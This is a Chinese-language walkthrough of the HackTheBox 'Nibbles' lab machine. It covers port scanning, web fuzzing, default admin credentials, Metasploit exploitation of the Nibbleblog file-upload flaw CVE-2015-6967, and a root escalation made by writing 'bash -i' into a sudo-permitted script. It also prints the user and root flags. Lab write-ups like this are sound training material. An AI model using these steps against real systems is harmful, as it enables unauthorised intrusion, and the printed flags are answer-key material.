HTB:Nibbles[WriteUP]

embedded/2024/11/8 19:27:33/

目录

连接至HTB服务器并启动靶机

1.How many open TCP ports are listening on Nibbles?

使用nmap对靶机TCP端口进行开放扫描

2.What is the relative path on the webserver to a blog?

使用ffuf对靶机80端口Web进行路径FUZZ

3.What content management system (CMS) is being used by the blog?

使用浏览器对/nibbleblog进行访问

4.What is the relative path to an XML file that contains the admin username?

使用feroxbuster对靶机/nibbleblog目录下整体进行路径递归扫描

5.What is the admin user's password to log into the blog?

6.What version of nibble blog is running on the target machine? Do not include the "v".

7.What is the 2015 CVE ID for an authenticated code execution by file upload vulnerability in this version of NibbleBlog.

使用searchsploit搜索该BibbleBlog版本相关漏洞

8.Which user the Nibbleblog instance is running on the target machine?

9.Submit the flag located in the nibbler user's home directory.

USER_FLAG:74926960e8914c5566003d8978b366d4

10.What is the name of the script that nibbler can run as root on Nibbles?

11.Enter the permission set on monitor.sh? Use the Linux file permissions format, like -rw-rw-r--.

靶机中新建两个文件夹

12.Submit the flag located in root's home directory.

ROOT_FLAG:273ce39224dcf6ea02f2bc507a3e7c20


连接至HTB服务器并启动靶机

靶机IP:10.10.10.75

分配IP:10.10.14.12


1.How many open TCP ports are listening on Nibbles?

使用nmap对靶机TCP端口进行开放扫描

nmap -p- --min-rate=1500 -T5 -sS -Pn 10.10.10.75

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# nmap -p- --min-rate=1500 -T5 -sS -Pn 10.10.10.75      
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-07 00:58 EST
Nmap scan report for 10.10.10.75 (10.10.10.75)
Host is up (0.065s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 44.96 seconds

由扫描结果可知,靶机开放TCP端口:22、80共2个端口


2.What is the relative path on the webserver to a blog?

使用ffuf对靶机80端口Web进行路径FUZZ

可见文件index.html,直接使用浏览器对其进行访问,Ctrl+U查看源码

找到blog路径:/nibbleblog


3.What content management system (CMS) is being used by the blog?

使用浏览器对/nibbleblog进行访问

由页面显示可知,当前CMS为:Nibbles


4.What is the relative path to an XML file that contains the admin username?

使用feroxbuster对靶机/nibbleblog目录下整体进行路径递归扫描

feroxbuster --url http://10.10.10.75/nibbleblog/ -s 200,301,302 -W 0 -w ../dictionary/common.txt -t 200

在终端工具中,按住Ctrl+Shift+F对XML文件进行搜索

使用浏览器访问该文件(/nibbleblog/content/private/users.xml),可见用户名:admin


5.What is the admin user's password to log into the blog?

因为feroxbuster扫出来的东西太乱了,使用ffuf再次对/nibbleblog目录下简单扫描

使用浏览器访问admin.php

Google上可以直接找到默认凭证

账户:admin

密码:nibbles


6.What version of nibble blog is running on the target machine? Do not include the "v".

访问之前扫到的README文件

获取该Nibbles版本:4.0.3


7.What is the 2015 CVE ID for an authenticated code execution by file upload vulnerability in this version of NibbleBlog.

使用searchsploit搜索该BibbleBlog版本相关漏洞

searchsploit Nibbleblog

将该rb文件拷贝到当前目录下

searchsploit -m 38489.rb

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# searchsploit -m 38489.rb
  Exploit: Nibbleblog 4.0.3 - Arbitrary File Upload (Metasploit)
      URL: https://www.exploit-db.com/exploits/38489
     Path: /usr/share/exploitdb/exploits/php/remote/38489.rb
    Codes: CVE-2015-6967, OSVDB-127059
 Verified: True
File Type: Ruby script, ASCII text
Copied to: /home/kali/Desktop/temp/38489.rb

由描述可知,该EXP基于漏洞:CVE-2015-6967


8.Which user the Nibbleblog instance is running on the target machine?

该模块在MSF中,启动Metasploit

msfconsole

搜索nibbleblog相关利用模块

search nibbleblog

其他参数选项按照平常配置,其中目标URI

set TARGETURI /nibbleblog

执行getuid命令,由回显可知当前用户为:nibbler


9.Submit the flag located in the nibbler user's home directory.

切换到终端

shell

查找user_flag并查看其内容

find / -name 'user.txt' 2>/dev/null
/home/nibbler/user.txt
cat /home/nibbler/user.txt
74926960e8914c5566003d8978b366d4

USER_FLAG:74926960e8914c5566003d8978b366d4


10.What is the name of the script that nibbler can run as root on Nibbles?

查看当前用户可特权运行的命令

sudo -l

sudo -l
Matching Defaults entries for nibbler on Nibbles:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User nibbler may run the following commands on Nibbles:
    (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh

由回显可知,当前用户可特权运行文件:monitor.sh


11.Enter the permission set on monitor.sh? Use the Linux file permissions format, like -rw-rw-r--.

直接cat该文件,居然提示文件不存在

由于这一题不存在该文件,更不用说查看它权限了,直接跳过不做此题

cat /home/nibbler/personal/stuff/monitor.sh
cat: /home/nibbler/personal/stuff/monitor.sh: No such file or directory

 进入/home/nibbler目录下,发现连personal目录都没有

cd /home/nibbler
ls
personal.zip
user.txt
ls -a
.
..
.bash_history
.nano
personal.zip
user.txt

那就好办了,我们直接给它弄一个这文件出来直接getshell就行

靶机中新建两个文件夹

mkdir personal
cd personal
mkdir stuff
cd stuff

 新建monitor.sh文件

nibbler@Nibbles:/home/nibbler/personal/stuff$ touch monitor.sh
touch monitor.sh
nibbler@Nibbles:/home/nibbler/personal/stuff$ ls
ls
monitor.sh
nibbler@Nibbles:/home/nibbler/personal/stuff$ echo 'bash -i' > monitor.sh
echo 'bash -i' > monitor.sh

直接运行该文件

sudo /home/nibbler/personal/stuff/monitor.sh

nibbler@Nibbles:/home/nibbler/personal/stuff$ sudo /home/nibbler/personal/stuff/monitor.sh
<er/personal/stuff$ sudo /home/nibbler/personal/stuff/monitor.sh             
root@Nibbles:/home/nibbler/personal/stuff# whoami
whoami
root


12.Submit the flag located in root's home directory.

查找root_flag位置并查看其内容

root@Nibbles:/home/nibbler/personal/stuff# find / -name 'root.txt'
find / -name 'root.txt'
/root/root.txt
root@Nibbles:/home/nibbler/personal/stuff# cat /root/root.txt
cat /root/root.txt
273ce39224dcf6ea02f2bc507a3e7c20

ROOT_FLAG:273ce39224dcf6ea02f2bc507a3e7c20


http://www.ppmy.cn/embedded/135972.html

相关文章

Spark 的介绍与搭建:从理论到实践

目录 一、分布式的思想 &#xff08;一&#xff09;存储 &#xff08;二&#xff09;计算 二、Spark 简介 &#xff08;一&#xff09;发展历程 &#xff08;二&#xff09;Spark 能做什么&#xff1f; &#xff08;三&#xff09;spark 的组成部分 &#xff08;四&…

CSS中综合练习(基础学校完整静态网页教程)!!

#集合三行、多行多列、百分比布局做的基础学校完整静态网页# 一、百分比布局的使用 百分比的元素示例 <!DOCTYPE html> <html lang"zh"> <head> <meta charset"UTF-8"> <meta name"viewport" content"wi…

swoole进程

Master 进程、Reactor 线程、Worker 进程、Task 进程、Manager 进程的区别与联系 Master 进程 Master 进程是一个多线程进程Reactor 线程 Reactor 线程是在 Master 进程中创建的线程 负责维护客户端 TCP 连接、处理网络 IO、处理协议、收发数据 不执行任何 PHP 代码 将 TCP …

深入解析 WinForms MVVM 模式中的事件驱动与数据驱动

前言 在传统的 WinForms 开发中&#xff0c;事件驱动模型&#xff08;Event-Driven Model&#xff09;是核心&#xff0c;它通过控件的事件&#xff08;如点击按钮、改变文本等&#xff09;触发业务逻辑。然而&#xff0c;MVVM 模式引入了数据驱动&#xff08;Data-Driven&…

Java项目实战II基于Spring Boot的智能家居系统(开发文档+数据库+源码)

目录 一、前言 二、技术介绍 三、系统实现 四、文档参考 五、核心代码 六、源码获取 全栈码农以及毕业设计实战开发&#xff0c;CSDN平台Java领域新星创作者&#xff0c;专注于大学生项目实战开发、讲解和毕业答疑辅导。 一、前言 随着物联网技术的快速发展和普及&#…

【NLP自然语言处理】深入探索Self-Attention:自注意力机制详解

目录 &#x1f354; Self-attention的特点 &#x1f354; Self-attention中的归一化概述 &#x1f354; softmax的梯度变化 3.1 softmax函数的输入分布是如何影响输出的 3.2 softmax函数在反向传播的过程中是如何梯度求导的 3.3 softmax函数出现梯度消失现象的原因 &…

学习正则表达式,如何校验手机号与电子邮箱

文章目录 一、正则表达式基础知识1.特殊字符&#xff08;Metacharacters&#xff09;2.字符类&#xff08;Character Classes&#xff09;3.预定义字符集&#xff08;Predefined character classes&#xff09;4.分组&#xff08;Groups&#xff09;5.量词&#xff08;Quantifi…

基于MATLAB DCT域图像水印技术

1数字水印技术的概念和特点 数字水印&#xff08;Digital Watermark&#xff09;技术是将与多媒体内容相关或不相关的一些标示信息直接嵌入多媒体内容当中&#xff0c;但不影响原内容的使用价值&#xff0c;并不容易被人的知觉系统觉察或注意到。通过这些隐藏在多媒体内容中的…